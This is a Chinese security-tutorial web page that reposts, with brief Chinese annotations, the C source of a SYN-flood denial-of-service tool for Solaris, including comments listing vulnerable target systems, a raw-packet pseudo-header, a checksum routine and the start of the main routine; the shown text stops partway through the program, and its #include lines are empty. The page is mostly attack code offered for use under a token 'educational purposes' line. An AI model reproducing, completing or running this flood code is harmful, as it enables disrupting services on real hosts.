当前位置: 首页 > 图文教程 > 网络安全 > 安全基础 > 一个SYN攻击的源程序

安全基础
U盘病毒预防的一个小技巧
微软漏洞补丁阻止防溢出者病毒
“网游盗号木马”将成为新毒王
IE浏览器RealPlayer的安全漏洞
网上购物 网络购物陷阱要预防
预先付费骗局让聪明人更容易相信
非法程序传播垃圾邮件的防范方法
汇款时收到只有卡号的短信
黑客入侵网站的常用方法
EXE可执行文件无法打开的解决方法
关于Gmail可能不知道的几个功能
微软官方提供的密码强度在线测试工具
网页代码中的“隐形杀手”分类
关闭无用服务保证Windows系统安全
网络信息安全与保密的6个技术目标
简单几招对付捆绑木马的技巧
让企业远离四处潜伏的众多安全威胁
有助于拨号上网用户预防黑客入侵的方法
工行专家建议的网上交易的安全性
网吧上网养成上网后清除个人信息的习惯

安全基础 中的 一个SYN攻击的源程序


出处:互联网   整理: 软晨网(RuanChen.com)   发布: 2009-10-28   浏览: 52 ::
收藏到网摘: n/a


/* Syn Attack against a port for Solaris */

/* Original land attack, land.c by m3lt, FLC */

/* Ported to 44BSD by blast and jerm */

/* Ported to Solaris by ziro antagonist */

/* Referenced flood.c by unknown author */

/* Converted into a syn attack against one port by CRG */

/* Please use this for educational purposes only */

/* Compiles on Solaris gcc -o synsol synsol.c -lsocket -lnsl */

/* Additional notes: */

/* Successfully compiled on Solaris 2.51 and 2.6 */

/* Runs: synsol    */

/* */

/* Tested it on: Solaris 2.6 */

/* */

/* Attacked against: */

/* Linux 2.0.33 - vulnerable */

/* Linux 2.0.30 - vulnerable */

/* Linux 1.2.13 - vulnerable */

/* Solaris 2.4 - vulnerable */

/* Solaris 2.5.1 - vulnerable */

/* SunOS 4.1.3_U3 - vulnerable */

/* Solaris 2.6 - not vulnerable */

/* */

/* Most of these test machines are not patched because they */

/* are in test lab. I tested the program against port 23 and */

/* every once in awhile I did get through. */

/* */

/* Direct any comments, questions, improvements to */

/* [email protected] */

/* http://www.genocide2600.com/~tattooman/ */

/* Your emails will be forwarded to the author, who wishes */

/* to remain known only as CRG (no email addy or URL) */

/*jjgirl:上面的注释的不用说了!*/

#include 

#include 

#include 

#include 

#include 

#include 

#include 

#include 

#include 

#include 

#include 

#include 

#include 

#include 

#include 

#include 

/*jjgirl:上面是头文件!*/

 

unsigned long srcport;

 

struct pseudohdr

{

struct in_addr saddr;

struct in_addr daddr;

u_char zero;

u_char protocol;

u_short length;

struct tcphdr tcpheader;

};

/*jjgirl:定义一个伪装地址的结构!*/

 

u_short checksum(u_short * data,u_short length)

{

int nleft = length;

int sum=0;

unsigned short *w = data;

unsigned short value = 0;

 

while (nleft > 1) {

sum += *w++;

nleft -= 2;

}

 

if (nleft == 1) {

*(unsigned char *) (&value) = *(unsigned char *) w;

sum += value;

}

sum = (sum >>16) + (sum & 0xffff);

sum += (sum >> 16);

value = ~sum;

return(value);

}

/*jjgirl:上面校验文件!包头是需要校验的,CRC校验!*/

 

 

int main(int argc,char * * argv)

{/*jjgirl:主程序开始了!*/

struct sockaddr_in sin;

struct sockaddr_in din;

struct hostent * hoste;

struct hostent * host1;

int j,sock,foo, flooddot=1;

char buffer[40];

struct ip * ipheader=(struct ip *) buffer;

struct tcphdr * tcpheader=(struct tcphdr *) (buffer+sizeof(struct ip));

struct pseudohdr pseudoheader;

/*jjgirl:上面定义变量!*/

 

fprintf(stderr,"Syn attack against one port.(Infinite)\n");

 

if(argc<4)

{

fprintf(stderr,"usage: %s   \n",argv[0]);

return(-1);

}